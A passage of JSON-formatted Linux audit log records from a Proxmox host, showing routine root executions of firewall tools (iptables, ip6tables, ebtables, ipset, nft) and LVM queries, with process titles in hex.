tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966240.913:69049): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966376380,"@rawstring":"node=pve type=PATH msg=audit(1781966376.380:69475): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036013,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.013:63722): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61135 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966240.913:69048): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966376380,"@rawstring":"node=pve type=PATH msg=audit(1781966376.380:69475): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036004,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.004:63721): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966240.913:69047): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966376380,"@rawstring":"node=pve type=PATH msg=audit(1781966376.380:69474): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035997,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.997:63720): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61133 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.902:69046): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966376380,"@rawstring":"node=pve type=PATH msg=audit(1781966376.380:69473): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.993:63719): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=56b781aea740 items=0 ppid=1156 pid=61131 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966235902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.902:69045): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966375354,"@rawstring":"node=pve type=PATH msg=audit(1781966375.354:69471): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.990:63718): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc136180 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61131 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.902:69044): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966375354,"@rawstring":"node=pve type=PATH msg=audit(1781966375.354:69471): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.984:63717): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1478a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61130 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.889:69043): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966375350,"@rawstring":"node=pve type=PATH msg=audit(1781966375.350:69470): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.978:63716): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1404c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61128 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.889:69042): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966375350,"@rawstring":"node=pve type=PATH msg=audit(1781966375.350:69470): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035970,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.970:63715): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61127 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.889:69041): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966375347,"@rawstring":"node=pve type=PATH msg=audit(1781966375.347:69469): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.963:63714): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1404c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61126 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235247,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.247:69040): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966375347,"@rawstring":"node=pve type=PATH msg=audit(1781966375.347:69469): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.958:63713): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b47c10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61125 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.244:69039): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966375346,"@rawstring":"node=pve type=PATH msg=audit(1781966375.346:69468): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035944,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.944:63712): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61124 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.243:69038): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966375346,"@rawstring":"node=pve type=PATH msg=audit(1781966375.346:69468): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.936:63711): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.243:69037): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966375346,"@rawstring":"node=pve type=PATH msg=audit(1781966375.346:69467): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035933,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.933:63710): arch=c000003e syscall=59 success=yes exit=0 a0=61b1b878cb60 a1=61b1b8798a70 a2=61b1b8766680 a3=5 items=2 ppid=61116 pid=61122 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.239:69036): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966375342,"@rawstring":"node=pve type=PATH msg=audit(1781966375.342:69466): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.929:63709): arch=c000003e syscall=59 success=yes exit=0 a0=61b1b3596ac8 a1=7ffe7861a6c0 a2=61b1b8766680 a3=61b1b357a24e items=2 ppid=61116 pid=61118 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.232:69035): proctitle=\"ip6tables-save\""} {"@timestamp":1781966375342,"@rawstring":"node=pve type=PATH msg=audit(1781966375.342:69466): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035928,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.928:63708): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe7861a680 a1=61b1b8788200 a2=61b1b8766680 a3=5 items=2 ppid=61116 pid=61117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235224,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.224:69034): proctitle=\"iptables-save\""} {"@timestamp":1781966375342,"@rawstring":"node=pve type=PATH msg=audit(1781966375.342:69466): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035924,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.924:63706): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61116 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.217:69033): proctitle=\"ip6tables-save\""} {"@timestamp":1781966375335,"@rawstring":"node=pve type=PATH msg=audit(1781966375.335:69465): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035916,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.916:63705): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61115 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.210:69032): proctitle=\"iptables-save\""} {"@timestamp":1781966375335,"@rawstring":"node=pve type=PATH msg=audit(1781966375.335:69465): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.910:63704): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235205,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.205:69031): proctitle=\"ebtables-restore\""} {"@timestamp":1781966375330,"@rawstring":"node=pve type=PATH msg=audit(1781966375.330:69464): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035905,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.905:63703): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac90c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61113 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.203:69030): proctitle=\"ebtables-restore\""} {"@timestamp":1781966375330,"@rawstring":"node=pve type=PATH msg=audit(1781966375.330:69464): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.898:63702): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61112 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.196:69029): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966375325,"@rawstring":"node=pve type=PATH msg=audit(1781966375.325:69463): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.892:63701): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fbaf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61111 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.190:69028): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966375325,"@rawstring":"node=pve type=PATH msg=audit(1781966375.325:69463): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965034453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965034.453:63700): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bd690 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235185,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.185:69027): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966375319,"@rawstring":"node=pve type=PATH msg=audit(1781966375.319:69462): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965034418,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965034.418:63699): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d3231550 a1=64f8d73be760 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.179:69026): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966375319,"@rawstring":"node=pve type=PATH msg=audit(1781966375.319:69462): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031553,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965031.553:63698): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235173,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.173:69025): proctitle=697073657400726573746F7265"} {"@timestamp":1781966375313,"@rawstring":"node=pve type=PATH msg=audit(1781966375.313:69461): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965031.548:63695): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.162:69024): proctitle=\"ip6tables-save\""} {"@timestamp":1781966375313,"@rawstring":"node=pve type=PATH msg=audit(1781966375.313:69461): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965026.540:63692): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61103 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235155,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.155:69023): proctitle=\"iptables-save\""} {"@timestamp":1781966375307,"@rawstring":"node=pve type=PATH msg=audit(1781966375.307:69460): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965026.533:63689): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61102 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966235.151:69022): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966375307,"@rawstring":"node=pve type=PATH msg=audit(1781966375.307:69460): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.880:63686): arch=c000003e syscall=59 success=yes exit=0 a0=651e090cfb60 a1=651e090dbe40 a2=651e090a9680 a3=5 items=2 ppid=61095 pid=61101 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966234694,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966234.694:69012): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966375302,"@rawstring":"node=pve type=PATH msg=audit(1781966375.302:69459): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025876,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.876:63685): arch=c000003e syscall=59 success=yes exit=0 a0=651de551bac8 a1=7ffd029a3040 a2=651e090a9680 a3=651de54ff24e items=2 ppid=61095 pid=61097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966234665,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966234.665:69011): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966375302,"@rawstring":"node=pve type=PATH msg=audit(1781966375.302:69459): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.874:63684): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd029a3000 a1=651e090cb200 a2=651e090a9680 a3=5 items=2 ppid=61095 pid=61096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} 